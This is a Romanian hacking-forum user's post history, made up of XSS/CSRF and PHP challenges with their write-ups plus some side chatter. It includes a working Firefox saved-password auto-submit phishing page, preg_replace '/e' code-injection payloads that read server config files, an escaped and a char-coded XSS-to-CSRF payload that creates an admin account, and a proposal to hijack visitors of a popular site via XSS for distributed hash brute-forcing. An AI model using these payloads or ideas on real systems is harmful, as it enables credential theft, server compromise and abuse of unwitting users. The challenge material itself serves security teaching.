Jump to content

B7ackAnge7z

Active Members
  • Posts

    388
  • Joined

  • Last visited

  • Days Won

    16

Everything posted by B7ackAnge7z

  1. Focul, Browserul-ul ?i Mintea i?i sunt de folos, atâta timp cât ?tii s? le st?pâne?ti Majoritatea utilizatorilor sunt atît de lene?i, încât prefer? s? spere c? ei nu vor fi ?inta vre-o unui atac cibernetic, decât s? caute/utilizeze informa?ia necesar? pentru a?i proteja datele confiden?iale, care, în majoritatea cazurilor, devin (datele) într-adev?r importante doar dup? ce vre-un ”nepoftit” ob?ine acces la ele. Dar dup? cum bine ?tim, dac? ceva r?u se poate întâmpla, se va întâmpla, iar faptul c? dorim din r?sputeri ca acest lucru s? nu se întâmple — nu ne va ajuta cu nimic. Iat? de ce, în acest articol vreau s? vorbesc pu?in despre siguran?a ?i comoditatea de a utiliza «Gestionarul de parole», care dup? p?rerea mea, împreun? nu fac o echip? prea bun?. Desigur, e foarte comod atunci când browser-ul completeaz? automat toate c?su?ele, inclusiv numele de utilizator ?i parola. Dar dup? cum v? da?i seama, aceste date sunt salvate pe hard disk ?i odat? ce cineva ob?ine acces la PC, ob?ine acces ?i la aceste date, care sunt încriptate ?i într-o oarecare m?sur? nu pot fi extrase atât de u?or cum ar dori unii. În principiu, fiecare companie încearc? s? ofere o protec?ie cât mai bun? a datelor de logare salvate de browser , dar dup? p?rerea mea, cel mai bine le reu?e?te celor de la Mozilla Foundation care dezvolt? renumitul browser Mozilla Firefox. Adic?, chiar dac? atacatorul ob?ine acces la fi?ierele în care sunt salvate parolele browser-ului, tehnologia folosit? de Firefox va avea grij? ca atacatorul s? nu poat? extrage (prea u?or) datele încriptate. Bazându-ne pe astfel de ”idei”, ar fi mai logic ?i mai sigur s? salv?m parole cu ajutorul «Gestionarului de parole», deoarece, chiar dac? PC-ul va fi infectat cu un Trojan (desigur, care nu poate extrage datele încriptate) parolele r?mân în siguran?? atâta timp cât utilizatorul nu introduce manual parola pe o pagin? scam sau capturat? de un sniffer. Totu?i, aceasta din urm? metod?, cu p?rere de bine, din câteva motive (cum ar fi Challenge-response authentication sau conexiunile securizate) nu va func?iona pentru toate site-urile. Cât despre paginile scam, într-adev?r aceast? tehnologie e destul de periculoas? ce la sigur îi va afecta pe majoritatea utilizatorilor ”simpli”. Dar de obicei, spre deosebire de marea majoritate, chiar dac? un expert introduce parola pe o pagin? scam, v?zând c? parola nu este acceptat? sau c? browser-ul se comport? ”straniu” — pe loc î?i va seama despre ce e vorba ?i va ?ti c? are minute num?rate pentru a accesa cât mai rapid contul electronic ?i s? schimbe parola, ca mai apoi s? caute ?i s? înl?ture problema. Acum, haide?i s? ne imagin?m un utilizator ce are un cont pe un site important, are instalat browser-ul Firefox, parolele pentru acest site sunt salvate cu ajutorul «Gestionarului de parole», dar pe lâng? toate astea, mai are un mic ”progr?mel” care ruleaz? f?r? ?tirea lui ?i a?tept? comenzile de la ”st?pân”. Din fericire, eroul nostru (utilizatorul desigur), ?tie foarte bine ce e securitatea informa?ional? ?i dup? cum v? da?i bine seama, atacatorul nu poate fura parolele salvate cu ajutorul unei pagini scam (am uitat s? precizez c? acel mic ”progr?mel” e atât de mic, încât nu putea nici extrage datele încriptate ?i nici sniffer nu avea). Îns?, nec?tînd la faptul c? utilizatorul e un adev?rat profesional, pentru a fura parolele salvate cu ajutorul «Gestionarului de parole» Firefox, totu?i se poate folosi scam-ul, doar c? f?r? ca utilizatorul s? ”asiste” la aceast? scen? tragic?. Problema e c? o dat? ce browser-ul Firefox deschide un site pentru care au fost salvate datele de logare, automat completeaz? c?su?ele cu datele necesare, iar atacatorului nu-i r?mâne de cât s? simuleze click-ul utilizatorului. Cel mai interesant, este c? pentru Firefox acest lucru poate fi f?cut ?i la nivel de programare web: <html> <head> <title>Welcome to Scam page</title> </head> <body onload='document.forms[0].send.click();'> <form method='post'> <input type='text' name='user' /> <input type='password' name='pass' /> <input type='submit' name='send' id='send' value='login' /> </form> </body> </html> Astfel, dac? parolele au fost salvate cu ajutorul «Gestionarului de parole», deschizând pagina de mai sus — c?su?ele «user» ?i «pass» vor fi completate automat de c?tre Firefox ?i datele vor fi trimise c?tre server, f?r? ca utilizatorul s? apese sau s? introduc? ceva. În principiu, cam asta a fost ideea. Desigur, mai sunt multe întreb?ri legate, de exemplu, despre celelalte browsere, despre acei mul?i utilizatori care cred c? ”eu sunt un expert ?i cu u?urin?? voi observa scam-ul” ?i multe alte întreb?ri, r?spunsul la care, foarte repede îl ve?i g?si dac? ie?i?i din ”cutiu??”.
  2. Pentru cei ce nu au reu?it: webcache.googleusercontent.com
  3. ByetHost — de vre-un 1 nu mai folosesc serviciile lor, dar pot spune c? e singurul free hosting care mi-a pl?cut cu adev?rat, ?i doar pentru suportul oferit merit? încercat Ofer?: 5500 MB disk space 200 GB monthly transfer 50 MySQL databases 50 addon domains 50 parked domains 50 sub domains PHP sendmail ++ Domain-uri: nume-site.2kool4u.net nume-site.isgreat.org nume-site.22web.net nume-site.10001mb.com nume-site.iblogger.org nume-site.talk4fun.net nume-site.totalh.com Plus la aceasta: Free Hosting Reseller
  4. Sincer, nu m? pot opri din râs... Nu credeam c? mai exist? a?a ceva p.s. ”R?d?cinile” cresc de aici: QDB: Quote #244321
  5. La începutul anului 2008, Nokia a prezentat conceptul «Nokia Morph». Detaliile despre acest concept, pot fi citite pe Wikipedia ?i ”privite” pe .Cic? în 2015, acest concept nu va mai fi concept.
  6. Mai întâi de toate, vreau s? spun, c? acest tutorial, de fapt e r?spunsul unui mic Challenge, care a fost rezolvat doar de hari (lucru pentru care îl ?i felicit ?i m? bucur nespus c? a reu?it. Bravo!). Cât despre Challenge, a?a cum a spus ?i înving?torul, într-adev?r — a fost foarte simplu (desigur, dac? a?i auzit de func?ia ”preg_replace” ?i modificatorul ”e”)... ?i, dat fiind faptul c? nu doream, ca testul s? fie rezolvat prea u?or, în codul PHP, am folosit dou? mici ?iretlicuri: cu ajutorul semnului ”@”, am suprimat erorile (în caz c? cineva va testa scriptul pe serverul propriu); folosind func?ia Open_Page(), am l?sat s? se cread? c? este vorba de un LFI; Deci, dac? elimin?m liniile de cod care ne duc în eroare, din acel script va r?mâne doar o singur? linie: preg_replace( '#(<[a-z]+.*?>)(.*?)(</[a-z]+>)#isem', '\\2', $_POST['comment'] ); care, va extrage ?i va afi?a doar textul aflat în tag-urile HTML. De exemplu, din comentariul: Acesta este <a href='//site.com'>site-ul</a> meu , va fi extras? ?i afi?at? doar fraza ”Acesta este site-ul meu”. La prima vedere, aceasta nici pe departe nu pare a fi o vulnerabilitate, nemaivorbind despre PHP Shell, dar, v? rog s? atrage?i aten?ia la litera ”e” din lista modificatorilor: ”isem”. Deoarece anume acest modificator va trata parametrul ”\\2” ca fiind un cod PHP. Deci, pentru a primi detalii despre configurarea serverului, atacatorul trebuie s? posteze urm?torul comentariu: <i>phpinfo()</i> Astfel, preg_replace(),va extrage textul aflat în tag-ul ”<i>” ?i îl va trata ca pe un cod PHP, adic?, va afi?a rezultatul func?iei phpinfo(). ?i, cum v? da?i bine seama, mult mai periculos, este faptul c? atacatorul poate citi sau crea fi?iere pe server. De exemplu, pentru a citi datele din fi?ierul dbconfig.php, aflat în directorul inc/data se va folosi expresia: file_get_contents( base64_decode( aW5jL2RhdGEvZGJjb25maWcucGhw ) ) unde, func?ia file_get_contents() va citi informa?ia din fi?ierul inc/data/dbconfig.php, numele ?i adresa c?ruia a fost encodat? cu ajutorul func?iei base64_encode(). Exploatarea acestei vulnerabilit??i poate fi ob?inut? mult mai simplu, definind o noua variabil? dbconfig (apropo, aceasta poate fi atât de tip POST, cât ?i de tip GET). De exemplu, se ia pagina site-ului www.site.com, se adaug? parametrul dbconfig=inc/data/dbconfig.php ?i se acceseaz?: http://www.site.com/?dbconfig=inc/data/dbconfig.php în c?su?a comentariului se scrie: <i>file_get_contents($_GET[dbconfig])</i> astfel, dup? ce a se va posta comentariul, va fi afi?at? forma?ia din fi?ierul dbconfig.php. Vreau s? mai adaug, c? nu doar func?ia preg_replace(), ci ?i preg_filter() va executa ceea ce e descris mai sus. Not?: Ini?ial, credeam c? despre aceast? metod? nu a pomenit nimeni, dar cu mult timp în urm? (anul 2001) Shaun Clowes, în raportul Exploiting Common Vulnerabilities in PHP Applications, a aten?ionat ”publicul” despre func?iile care prezint? un mare pericol pentru aplica?iile PHP. B7ackAnge7z Special pentru RST
  7. Interesant este faptul c? datele trimise, vor fi procesate de site-ul adidasioriginali.ro (codul surs?). Dac? sunt doritori care doresc s? îi dea o lec?ie dl-ului Matei, deschi?i pagina: Google Safebrowsing ?i completeaz? formularul, indicând site-ul ProfitSigur.ro - Google Adsense Empire Apropo, formularul nu are nici un code de protec?ie
  8. Felicit?ri pentru înving?tori: hari ? [11.08.2010 03:24 PM] Primul Challenge publicat de mine pe RST l-am numit ca fiind unul pu?in mai neobi?nuit, deoarece nu am v?zut ca cineva s? foloseasc? sau s? descrie acea metod?. Tot din acela?i motiv, voi publica un nou Challenge, care (sper din tot sufletul) v? va înfierbânta pu?in creiera?ii. Deci, avem un administrator de Blog, care, pentru o func?ionare corect? a micului site, folose?te urm?torul cod PHP: <?php define ( 'BASE_PATH', dirname ( __FILE__ ) ); $bad_Symbols = array( '<', '>', '\\', '"', "'", '/', '\0', '$' ); //lista simbolurilor ce reprezint? un pericol pentru securitatea Blog-ului class Process { /* Folosim aceast? func?ie pentru a saluta vizitatorul, afi?ând un mesaj implicit */ public function Welcome() { $Msg = 'Welcome to my Personal Blog!'; return $Msg; } /* Aceast? func?ie, o folosim pentru a extrage con?inutul unei pagini (salvat într-un fi?ier local). Pentru a proteja blogul de un include, din numele fi?ierului elimin?m caracterele periculoase. */ public function Open_Page( $page ) { global $bad_Symbols; $page_File = @str_replace( $bad_Symbols, '', $page ); $show_Page = BASE_PATH . "/{$page_File}.php"; if ( @file_exists( $show_Page ) ) { return @file_get_contents( $show_Page ); } return "Error 404! Page <b>{$page_File}.php</b> not found..."; } /* Cu ajutorul acestei func?ii, din comentariul l?sat de utilizator ?tergem orice caracter periculos ?i l?sam doar textul ”curat” */ public function HTML_Clean( $html_Data ) { global $bad_Symbols; $bb_Data = @preg_replace( '#(<[a-z]+.*?>)(.*?)(</[a-z]+>)#isem', '\\2', $html_Data ); $bb_Data = @str_replace( $bad_Symbols, '', $bb_Data ); return $bb_Data; } } $init = new Process(); if ( isset( $_GET['page'] ) ) { $_Template = $init->Open_Page( $_GET['page'] ); } elseif ( isset( $_POST['comment'] ) ) { $_Template = $init->HTML_Clean( $_POST['comment'] ); } else { $_Template = $init->Welcome(); } echo $_Template; ?> Cred c? explica?iile asupra acestui cod sunt de prisos. Iar voi, dup? cum v? da?i bine seama, trebuie s? g?si?i ?i s? exploata?i vulnerabilitatea din acest PHP-cod. Succes! p.s. A?tept cu ner?bdare PM-urile înving?torilor.
  9. @tdxev, Ai perfect? dreptate spunând c? aceasta este o metoda de a r?spândi malware, doar c? a? dori s? adaug, c? dup? p?rerea mea, detec?ia va fi aproape imposibil? dac? ?inem cont de faptul c? fi?ierul malware se va afla pe un server ”îndep?rtat” + programele Antivirus nu scaneaz? fi?ierele ”prea” mari ?i nici fi?ierele media. Pe lâng? aceasta, e foarte mic? probabilitatea ca programul ce asigur? securitatea PC-ului, s? aten?ioneze utilizatorul despre ac?iuni periculoase — doar orice aplica?ie cu semn?tura Microsoft are acces ”garantat” la accesarea/modificarea oric?rui parametru/fi?ier al sistemului de operare... ?i, a?a cum, player-ul nostru are multe drepturi, nu e exclus, ca un remote exploit s? dezactiveze programul de securitate, s? ”blocheze” sistemul de operare sau, m? rog, s? fac? ce vrea el pe-acolo. Cât despre ”procesul automatizat”, nu sunt sigur c? am în?eles corect, dar dac? e vorba de crearea filmule?elor — atunci, într-adev?r, se pare (cel pu?in a?a cred eu) c? nu e a?a de simplu s? creezi astfel de fi?iere. Iar codec-urile — au fost ?i sunt ca?cavalul gratis din capcan?, ?i nu prea cred c? acolo este ceva interesant de analizat... Sau poate m? în?el cumva?
  10. @To?i, Mul?umesc. M? bucur c? v-a pl?cut. @Nemessis, Dac? sincer, înainte de-al publica m? gândeam s? trimit staff-ului vre-un PM, ca s? întreb dac?, întâmpl?tor, acest articol nu ar avea vre-un locu?or pe blog (dac? nu m? gre?esc, undeva citisem c? pot fi trimise articole pentru a fi publicate pe blog). @Nytro, Merci pentru corectare. Am ad?ugat o noti?? în articol. Defapt, chiar dac? nu am lucrat cu a?a ceva, la nivel de teorie ?tiam acest lucru: credeam c? WMP folose?te vre-un oarecare API. Îns?, dat fiind faptul c? exploit-ul a pus la p?mânt întreaga aplica?ie (nu doar acea ferestruic?), m-a ”impus” s? scriu c? WMP suport? JS.
  11. @Krisler12™, Dat fiind faptul c? nu ai încercat s?-?i dai interesul ?i nu ai fost atent, spune c? nici nu te intereseaz? aceast? tem?! Dac? gre?esc cumva, încearc? s? treci Challenge-ul, folosind tehnicile standard de exploatare a vulnerabilit??ilor XSS.
  12. @Krisler12™, Scuze, dar tu ai încercat s? treci Challenge-ul, sau, cel pu?in ai citit topicul indicat în articol?
  13. // Exploat?m vulnerabilit??ile XSS într-un mod pu?in mai neobi?nuit
  14. Probabil, mul?i membri ai acestui forum au observat recentul meu post în care am f?cut "un apel" c?tre to?i exper?ii în XSS ?i CSRF, rugându-i s? exploateze într-un mod pu?in mai neobi?nuit o vulnerabilitate XSS. Nu ?tiu câ?i membri au acceptat provocarea, dar cert este faptul c? doar unul singur a reu?it s? treac? testul — loki, care, practic ?tia deja r?spunsul dup? ce editasem postul ad?ugând cel de-al doilea Update. În principiu, cu fiecare Update ad?ugat, încercam s? aten?ionez participan?ii despre anumite obstacole, s? le dau noi puncte de reper, s? le ar?t calea cea dreapt?... De exemplu, la prima redactare a postului, am dat de în?eles c? nu are rost s? piard? timpul folosind metode de a trece peste num?rul limitat de caractere, ?i cel mai important, s? se gândeasc? cum ar putea s? foloseasc? mai multe c?su?e pentru a ajunge înving?tor. Redactând postul pentru a doua oar?, am dezv?luit secretul token-ului, care de fapt r?mânea mereu acela?i. Plus la aceasta, am aten?ionat c? în acest test merge vorba despre «cel mai simplu CSRF» — nu ?tiu pentru al?ii cum e, dar pentru mine, cel mai simplu CSRF posibil, este atunci când datele se transmit prin metoda GET. Astfel, pentru a testa dac? scriptul accept? datele transmise prin GET, puteam folosi expresia: javascript:void(document.forms[0].method='get'), pe care trebuie s? o introducem în bara de adrese a browserului, dup? care tast?m Enter, complet?m formularul ?i ap?s?m butonul «Submit Query». Vom observa c? administratorul a fost ad?ugat cu succes, iar request-ul de tip POST s-a transformat în unul GET ?i... acum, cu u?urin?? putem copia adresa URL pentru a o folosi la atacul CSRF. Dup? p?rerea mea, fiind analizat cu aten?ie, cel de-al treilea Update era cel mai puternic indiciu care putea s? duc? la imediat? rezolvare a problemei. Iat? de ce, pentru a duce în eroare participan?ii, am scris cu font gri un mesaj care nu avea nici o leg?tur? cu acest test ?i rezolvarea lui. Îns? mesajul principal a r?mas, ?i chiar eram curios, oare nimeni nu s-a întrebat: De ce trebuie s? fie minim dou? c?su?e pe aceea?i pagin?? La ce bun folose?te o a doua c?su?a, care nici m?car nu e vulnerabil?? ?i tot dup? p?rerea mea, r?spunsul era foarte simplu: în c?su?a vulnerabil? («Signature») puteam folosi JavaScript, îns? era prea pu?in spa?iu, pe când «About me» — avea ceva mai mult... Deci, ce ne împiedic? s? "împrumut?m" caractere din containerul «About me»? Oare func?ia escape() amintit? în Update-ul num?rul 4, ?i atributul «id» din UPD #5 — nu a ?optit nim?nui vre-o idee n?stru?nic?? Sunt sigur c? pentru a dezlega orice mister trebuia doar s? aduc aminte de document.getElementById() — îns? acest lucru ar fi f?cut Challenge-ul prea simplu ?i lipsit de interes... Îns? acum nu ne r?mâne decât s? recapitul?m rapid ce aveam la îndemân?: O c?su?? vulnerabil?, care ne permite s? inser?m coduri JavaScript, dar care are un num?r limitat de caractere prea mic; Func?ia escape(), cu ajutorul c?reia putem codifica caracterele speciale; O c?su?? care nu e vulnerabil?, dar ofer? mai mult spa?iu ?i, pe lâng? aceasta are ?i un «id» unic; Expresia document.getElementById() cu ajutorul c?reia putem "împrumuta" caractere din containerul sus-men?ionat; Anume aceste p?r?i ale puzzle-ului, puse cap la cap i-au adus lui loki victoria. Cum? Foarte simplu! Într-un fi?ier extern (pe care l-am înc?rcat pe server), folosind func?ia document.write(), se crea o copie exact? a formularului din Admin Panel, ?i, folosind expresia document.forms[0].submit() se trimiteau datele c?tre server prin metoda POST. Desigur, pentru a exploata vulnerabilitatea XSS, acest fi?ier trebuia injectat pe pagina din profil, folosind expresia: <script src="http://test.securrity.ru/challenges/loki_rst_u9.js"></script> Pentru a trece de filtrul PHP, s-a folosit func?ia escape(), cu ajutorul c?reia expresia men?ionat? mai sus a c?p?tat forma: %3Cscript%20src%3D%22http%3A%2f%2ftest.securrity.ru/challenges/loki_rst_u9.js%22%3E%3C/script%3E%0A Anume aceast? expresie a fost? inserat? în c?su?a «About me», care avea ?i un id asem?n?tor: 'AboutMe'. Ultimul ?i cel mai important pas, a fost inserarea în c?su?a vulnerabil? «Signature», a urm?torului cod: <script>document.write(unescape(document.getElementById('AboutMe').innerHTML));</script> unde, document.getElementById('AboutMe').innerHTML — returneaz? caracterele c?su?ei 'AboutMe'; unescape() — returneaz? valoarea ini?ial? a caracterelor codificate cu ajutorul fun?iei escape(); document.write() — afi?eaz? codul ce include fi?ierul extern; Acum, nu ne r?mâne decât s? ap?s?m butonul «submit & save»! Unicul lucru pe care vreau s?-l adaug la metoda folosit? de loki, este c? testul era mult mai u?or, ?i în schimbul unui fi?ier extern, putea fi folosit doar un simplu iframe: %3Ciframe%20src%3D%22http%3A//test.securrity.ru/challenges/n1.php%3Fdo%3Dadd%26mode%3Dnew_account%26group%3Dadministrators%26name%3DAdmin%26password%3Dpassw0rd%26email%3Dadmin@site.net%26token%3D94a08da1fecbb6e8b46990538c7b50b2%22%3E%3C/iframe%3E A?a cum am mai spus, aceast? metod? e ca un cu?it cu dou? t?i?uri: partea bun? e c? putem trece de filtre; partea rea — ambele c?su?e trebuie s? fie prezente pe aceea?i pagin?. ?i, o a doua problem? ar fi suspiciunile administra?iei, care la sigur va ?terge astfel de mesaje sau accounturi. În astfel de situa?ii am putea folosi func?ia String.fromCharCode(), astfel un ?ir de cifre separate prin virgul? va putea trece neobservat. Dar, ?i aici este o mic? problem?, deoarece pentru a folosi String.fromCharCode(), este nevoie de pu?in mai mult spa?iu, mai exact cu 33 caractere mai mult, iar codul care trebuie inserat în c?su?a vulnerabil? va ar?ta în felul urm?tor (cei care pot face acest cod mai scurt, sunt ruga?i s? prezinte un exemplu): <script>document.write(String.fromCharCode.apply(this,document.getElementById("AboutMe").innerHTML.split(',')));</script> Iar în c?su?a «About Me» vom introduce textul urm?tor (ob?inut cu noquote): 60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,116,101,115,116,46,115,101,99,117,114,114,105,116,121,46,114,117,47,99,104,97,108,108,101,110,103,101,115,47,110,49,46,112,104,112,63,100,111,61,97,100,100,38,109,111,100,101,61,110,101,119,95,97,99,99,111,117,110,116,38,103,114,111,117,112,61,97,100,109,105,110,105,115,116,114,97,116,111,114,115,38,110,97,109,101,61,65,100,109,105,110,38,112,97,115,115,119,111,114,100,61,112,97,115,115,119,48,114,100,38,101,109,97,105,108,61,97,100,109,105,110,64,115,105,116,101,46,110,101,116,38,116,111,107,101,110,61,57,52,97,48,56,100,97,49,102,101,99,98,98,54,101,56,98,52,54,57,57,48,53,51,56,99,55,98,53,48,98,50,34,62,60,47,105,102,114,97,109,101,62 Dup? cum v? da?i bine seama, acest articol a fost scris în scopuri educative, pentru a în?elege c? nimic nu e perfect (în special aplica?iile celor, care în loc s? repare vulnerabilit??ile, încearc? s? demonstreze c? nu e a?a de GRAV precum pare). ?i da, sunt aproape 'preg?tit' s? ?in piept oric?rei întreb?ri, critici sau idei. B7ackAnge7z Special pentru RST
  15. @Paul4games, Ok. Cum g?sesc pu?in timp, voi încerca s? scriu cum se se rezolv? testul, ?i poate ceva în plus.
  16. Dragi prieteni, uita?i-v? atent la UPD #3 ?i UPD #5 — nimic? Hmm… Dac? îmi dau bine seama, ar trebui s?-l rug?m pe domnul loki s? ne dea o lec?ie de JavaScript.
  17. @Nytro, Ok. M? bucur nespus. Nu de alta, dar eu m? gândeam deja s? fac UPD #5, care la sigur ar fi dat c?r?ile pe fa??. Dac? s? fiu sincer, m? a?teptam ca mai mul?i membri ai forumului „s?-?i bage codi?a” © ?i/sau s? fie mult mai activi.
  18. Stima?i prieteni, v? aduc la cuno?tin?? c? a ap?rut primul ?i unicul înving?tor: loki @loki, Respect ?i Felicit?ri!! ?i-am trimis un PM.
  19. @loki, «Fiule, esti pe calea cea dreapt?» ©. În principiu, te-a? putea declara înving?tor, dar totu?i, trimite codul complet. ?i sper s? nu spui nim?nui rezolvarea, iar eu mai adaug ceva indicii pe parcurs. @Nytro, A?a cum am mai spus, am dorit un CSRF cât mai simplu.
  20. Da. Num?rul de caractere e limitat, exact a?a cum e indicat pe pagina de redactare a profilului. Apropo, am 'actualizat' postul.
  21. Pân? în momentul de fa??, nu am primit nici un PM. În caz c? voi primi — voi redacta postul cât mai repede posibil... Dac? nu se rezolv? nimic, cred c? în curând voi ad?uga câte un mic indiciu. Dar mai întâi de toate, a? dori s?-?i încerce puterile cât mai multe persoane.
  22. Se d? pagina de profil a utilizatorului: My Profile, care este vulnerabil? la XSS. Plus la aceasta, mai este disponibil ?i un Admin Panel cu ajutorul c?ruia se pot ad?uga noi utilizatori pe site. Ceea ce trebuie s? facem, este s? folosim vulnerabilitatea XSS pentru a ini?ia un atac CSRF ?i s? ad?ugam un nou administrator, iar mesajul «Congratulations! New administrator, has been added.» — trebuie s? confirme acest lucru. Explic: atunci când vom ap?sa butonul «submit & save» trebuie sa primim exact acela?i mesaj ca ?i in cazul când vom ap?sa butonul «Submit Query» (dup? ce am completat spatiile din Admin Panel). Pentru unii pare un simplu joc, dar totu?i, rog s? nu posta?i r?spunsul, ci sa-l trimite?i prin PM (nu uita?i s? v? spune?i p?rerea), iar eu voi redacta postul, indicând cine a reu?it s? treac? testul. Deci, cine e primul? Felicit?ri pentru înving?tori: loki ? [05-04-2010 11:08 PM] UPD #1: Mai întâi de toate, vreau s? spun c? pentru a exploata vulnerabilitatea, e nevoie de pu?in? ingeniozitate, ?i, dat fiind faptul c? personal nu am v?zut pe nimeni s? foloseasc? aceast? metoda, pentru unii v-a fi destul de dificil s? treac? testul… Istorie: Cu ceva timp în urm?, g?sisem un XSS activ într-o pagin? de profil, practic, o copie celei prezentate de mine. Dar, din cauza num?rului limitat de caractere, nu puteam decât s? primesc doar un alert(). Nimic mai mult... Dup? câteva minute, mi-a venit o idee — 'doar am mai multe c?su?e pe care pot s? le completez', deci — mai mult 'spa?iu'. p.s. Pe lâng? scriptul JS, PHP-ul are grij? ca s? nu trece?i de limita num?rului de caractere. UPD #2: Ini?ial, m? gândeam s? scriu un tutorial despre 'aceast? metod?' de exploatare a vulnerabilit??ilor XSS, dar m-am gândit c? un challenge, ar fi mult mai folositor, mai interesant. Iar când am început s? fac acest lucru, am hot?rât s? nu complic lucrurile, de aceea s-a primit 'poate cel mai simplu' CSRF posibil. Mesaj special pentru cei interesa?i de token-uri: nu uita?i de refresh, atunci când sunte?i în Admin Panel. UPD #3: Vreau s? precizez, c? într-o situa?ie similar?, folosind o «astfel» de metod? atacatorul va trece cu brio de limitele puse de cei care securizeaz? site-ul. Unica problem? r?mâne, ca victimele s? viziteze pagina sau paginile, unde sunt amplasate cel pu?in 2 c?su?e din formular, iar una dintre ele s? fie cea vulnerabil?. Apropo, c?su?a cu «Name» e readonly, iar în Admin Panel — «group» se repet? de 2 ori... UPD #4: Dat fiind faptul c? nu vreau s? deschid un nou thread, voi profita de ocazie ?i voi întreba aici: ?ti?i voi oare la ce bun folose?te func?ia escape()? UPD #5: E foarte cert?re?, fiindc? vrea s? fie unic într-un document, ?i, cic? nu are dreptul s? apar? de ori pe aceea?i pagin?. aHR0cDovL3d3dy53My5vcmcvVFIvaHRtbDQwMS9zdHJ1Y3QvZ2xvYmFsLmh0bWwjaC03LjUuMg==
  23. De exemplu, ai un hash MD5, pe care din pacate nu-l poti 'decripta'. Pe langa aceasta comoara, mai ai si un XSS activ intr-un site foarte vizitat (preferabil jocuri online, fiindca acolo vizitatorii petrec mai mult timp pe aceeasi pagina). Mai departe, cu o functie JS incarcata de pe serverul propriu, se face ceea ce a spus crs12decoder, adica, brute-force... Deschizand pagina, utilizatorul primeste un punct de 'reper' de unde sa inceapa atacul. In caz ca utilizatorul doreste sa paraseasca pagina, se transmit datele catre server (acestea trebuie sa indice 'locul' unde s-a oprit 'actiunea'). Cel mai important in toata nebunia asta, este ca fiecare utilizator sa primeasca de la serverul tau un interval unic de caractere (vezi mai sus exemplul cu serverele).Sunt sigur, JavaScript + citeva mii de vizitatori, vor genera o viteza uluitoare al brute-force-ului.
  24. Salvarea tuturor combinatiile intr-o baza de date, va dura prea mult si va fi prea costisitor in privinta resurselor. Insa, eu cred, mult mai simplu ar fi sa folosesti o armata de calculatoare-zombi sau cateva(!) servere, carora sa le dai comanda ca fiecare sa genereze si sa compare in timp real, doar o anumita portiune de 'cod'. Exemplu: Server1 — combinatiile de la «a» la «c», Server2 – de la «d» la «f», s.a.m.d. Mai multe servere — mai multe sanse de castig... Dar inainte de toate, nu uita sa intri pe site-uri gen MD5Decrypte. Apropos, domnilor, ce credeti despre folosirea vulnerabilitatilor XSS pentru a 'sparge' o parola criptata?
  25. wtf? Sa inteleg ca tu esti mare hacker daca l-ai gasit? Stii? De foarte multe ori am vazut poze si filmulete, in care Romania este reprezentata de oameni care traiesc in colibe, fara electricitate, iar caruta e casa si masa, nu fac dus cu lunile, s.a.m.d. — dar, niciodata nu mi-am permis sa iau in deradere neamul romanesc. Deoarece, cred, ca totusi avem aceeasi istorie, vorbim aceeasi limba, si, asemeni oricarui roman, nu-mi place sa aud cand sunt numit rus si/sau ca limba pe care o vorbesc e 'moldoveneasca'. Cit despre dezvoltare si avansare tehnologica, te rog, in primul rand sa nu uiti de comunistii care au fost la conducere timp de 8 ani, perioada in care RM ar fi avansat mult mai mult decat a facut-o. Iar in al doilea rand, priveste aceasta imagine si o sa observi ca nu suntem chiar atat de inapoiati. Apropo, 1 Euro == 16.5 Lei
×
×
  • Create New...